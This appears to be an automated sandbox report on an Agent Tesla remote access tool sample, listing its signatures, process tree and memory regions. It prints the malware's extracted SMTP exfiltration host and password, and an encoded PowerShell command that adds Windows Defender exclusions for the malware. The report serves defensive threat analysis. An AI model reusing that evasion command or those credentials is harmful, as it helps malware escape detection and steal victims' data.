Analysis
- max time kernel
106s - max time network
136s - platform
windows10-2004_x64 - resource
win10v2004-20250502-en - resource tags
- submitted
10/06/2025, 09:19
General
- Target 98f48787c509487f71e7fe1af189d4b2715f3d16cb7609a67ca87c290fcfb617.exe
- Size 81KB
- Sample250610-laa3cssxc1
- SHA256 98f48787c509487f71e7fe1af189d4b2715f3d16cb7609a67ca87c290fcfb617
Malware Config
Extracted
-
agenttesla
-
Protocol
smtp
-
Host
mail.iaa-airferight.com
-
Port
587
-
Username
-
Password
Asaprocky11
-
Email to
Signatures
- AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
- Agenttesla family
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Drops startup file 1 IoCs
- Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 7 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 4 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 23 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\98f48787c509487f71e7fe1af189d4b2715f3d16cb7609a67ca87c290fcfb617.exe"C:\Users\Admin\AppData\Local\Temp\98f48787c509487f71e7fe1af189d4b2715f3d16cb7609a67ca87c290fcfb617.exe"1⤵
- Checks computer location settings
- Drops startup file
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c ipconfig /release2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\ipconfig.exeipconfig /release3⤵
- System Location Discovery: System Language Discovery
- Gathers network information
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAOQA4AGYANAA4ADcAOAA3AGMANQAwADkANAA4ADcAZgA3ADEAZQA3AGYAZQAxAGEAZgAxADgAOQBkADQAYgAyADcAMQA1AGYAMwBkADEANgBjAGIANwA2ADAAOQBhADYANwBjAGEAOAA3AGMAMgA5ADAAZgBjAGYAYgA2ADEANwAuAGUAeABlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXAA5ADgAZgA0ADgANwA4ADcAYwA1ADAAOQA0ADgANwBmADcAMQBlADcAZgBlADEAYQBmADEAOAA5AGQANABiADIANwAxADUAZgAzAGQAMQA2AGMAYgA3ADYAMAA5AGEANgA3AGMAYQA4ADcAYwAyADkAMABmAGMAZgBiADYAMQA3AC4AZQB4AGUAOwBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAXABwAGQAZgAuAGUAeABlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAXABwAGQAZgAuAGUAeABlAA==2⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"2⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c ipconfig /renew2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\ipconfig.exeipconfig /renew3⤵
- System Location Discovery: System Language Discovery
- Gathers network information
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_ccdh2jql.xqb.ps1
memory/8-6064-0x0000000007F00000-0x0000000007F0E000-memory.dmp
memory/8-6056-0x0000000074FF0000-0x00000000757A0000-memory.dmp
memory/8-6025-0x0000000074FF0000-0x00000000757A0000-memory.dmp
memory/8-6070-0x0000000074FF0000-0x00000000757A0000-memory.dmp
memory/8-6067-0x0000000007FF0000-0x0000000007FF8000-memory.dmp
memory/8-6066-0x0000000008010000-0x000000000802A000-memory.dmp
memory/8-6065-0x0000000007F10000-0x0000000007F24000-memory.dmp
memory/8-6023-0x0000000005430000-0x0000000005466000-memory.dmp
memory/8-6063-0x0000000007ED0000-0x0000000007EE1000-memory.dmp
memory/8-6062-0x0000000007F50000-0x0000000007FE6000-memory.dmp
memory/8-6061-0x0000000007D40000-0x0000000007D4A000-memory.dmp
memory/8-6060-0x0000000007CD0000-0x0000000007CEA000-memory.dmp
memory/8-6059-0x0000000008310000-0x000000000898A000-memory.dmp
memory/8-6058-0x0000000007B90000-0x0000000007C33000-memory.dmp
memory/8-6024-0x0000000005B40000-0x0000000006168000-memory.dmp
memory/8-6055-0x0000000006F70000-0x0000000006F8E000-memory.dmp
memory/8-6044-0x000000006FFE0000-0x000000007002C000-memory.dmp
memory/8-6054-0x0000000074FF0000-0x00000000757A0000-memory.dmp
memory/8-6057-0x0000000074FF0000-0x00000000757A0000-memory.dmp
memory/8-6043-0x0000000007B50000-0x0000000007B82000-memory.dmp
memory/8-6042-0x00000000069D0000-0x0000000006A1C000-memory.dmp
memory/8-6041-0x00000000069A0000-0x00000000069BE000-memory.dmp
memory/8-6040-0x00000000065C0000-0x0000000006914000-memory.dmp
memory/8-6026-0x0000000074FF0000-0x00000000757A0000-memory.dmp
memory/8-6030-0x0000000006330000-0x0000000006396000-memory.dmp
memory/8-6029-0x00000000062C0000-0x0000000006326000-memory.dmp
memory/8-6028-0x0000000006220000-0x0000000006242000-memory.dmp
memory/8-6027-0x0000000074FF0000-0x00000000757A0000-memory.dmp
memory/2424-6077-0x0000000006780000-0x000000000678A000-memory.dmp
memory/2424-6076-0x0000000006500000-0x0000000006550000-memory.dmp
memory/2424-6075-0x0000000000400000-0x0000000000440000-memory.dmp
memory/5016-15-0x0000000006EA0000-0x0000000007181000-memory.dmp
memory/5016-9-0x0000000006EA0000-0x0000000007181000-memory.dmp
memory/5016-53-0x0000000006EA0000-0x0000000007181000-memory.dmp
memory/5016-51-0x0000000006EA0000-0x0000000007181000-memory.dmp
memory/5016-49-0x0000000006EA0000-0x0000000007181000-memory.dmp
memory/5016-45-0x0000000006EA0000-0x0000000007181000-memory.dmp
memory/5016-65-0x0000000006EA0000-0x0000000007181000-memory.dmp
memory/5016-61-0x0000000006EA0000-0x0000000007181000-memory.dmp
memory/5016-59-0x0000000006EA0000-0x0000000007181000-memory.dmp
memory/5016-6018-0x0000000074FF0000-0x00000000757A0000-memory.dmp
memory/5016-6019-0x00000000053C0000-0x000000000542C000-memory.dmp
memory/5016-6020-0x00000000059B0000-0x0000000005A1A000-memory.dmp
memory/5016-6021-0x0000000005AB0000-0x0000000005AFC000-memory.dmp
memory/5016-6022-0x0000000074FF0000-0x00000000757A0000-memory.dmp
memory/5016-57-0x0000000006EA0000-0x0000000007181000-memory.dmp
memory/5016-63-0x0000000006EA0000-0x0000000007181000-memory.dmp
memory/5016-67-0x0000000006EA0000-0x0000000007181000-memory.dmp
memory/5016-71-0x0000000006EA0000-0x0000000007181000-memory.dmp
memory/5016-69-0x0000000006EA0000-0x0000000007181000-memory.dmp
memory/5016-47-0x0000000006EA0000-0x0000000007181000-memory.dmp
memory/5016-41-0x0000000006EA0000-0x0000000007181000-memory.dmp
memory/5016-43-0x0000000006EA0000-0x0000000007181000-memory.dmp
memory/5016-8-0x0000000006EA0000-0x0000000007181000-memory.dmp
memory/5016-55-0x0000000006EA0000-0x0000000007181000-memory.dmp
memory/5016-11-0x0000000006EA0000-0x0000000007181000-memory.dmp
memory/5016-13-0x0000000006EA0000-0x0000000007181000-memory.dmp
memory/5016-0-0x0000000074FFE000-0x0000000074FFF000-memory.dmp
memory/5016-21-0x0000000006EA0000-0x0000000007181000-memory.dmp
memory/5016-19-0x0000000006EA0000-0x0000000007181000-memory.dmp
memory/5016-29-0x0000000006EA0000-0x0000000007181000-memory.dmp
memory/5016-31-0x0000000006EA0000-0x0000000007181000-memory.dmp
memory/5016-33-0x0000000006EA0000-0x0000000007181000-memory.dmp
memory/5016-35-0x0000000006EA0000-0x0000000007181000-memory.dmp
memory/5016-37-0x0000000006EA0000-0x0000000007181000-memory.dmp
memory/5016-39-0x0000000006EA0000-0x0000000007181000-memory.dmp
memory/5016-27-0x0000000006EA0000-0x0000000007181000-memory.dmp
memory/5016-23-0x0000000006EA0000-0x0000000007181000-memory.dmp
memory/5016-25-0x0000000006EA0000-0x0000000007181000-memory.dmp
memory/5016-17-0x0000000006EA0000-0x0000000007181000-memory.dmp
memory/5016-7-0x0000000074FF0000-0x00000000757A0000-memory.dmp
memory/5016-6-0x00000000072F0000-0x0000000007382000-memory.dmp
memory/5016-5-0x00000000077A0000-0x0000000007D44000-memory.dmp
memory/5016-4-0x0000000006EA0000-0x0000000007188000-memory.dmp
memory/5016-6071-0x00000000067E0000-0x0000000006834000-memory.dmp
memory/5016-3-0x0000000074FFE000-0x0000000074FFF000-memory.dmp
memory/5016-2-0x0000000074FF0000-0x00000000757A0000-memory.dmp
memory/5016-1-0x0000000000F70000-0x0000000000F8A000-memory.dmp
memory/5016-6078-0x0000000074FF0000-0x00000000757A0000-memory.dmp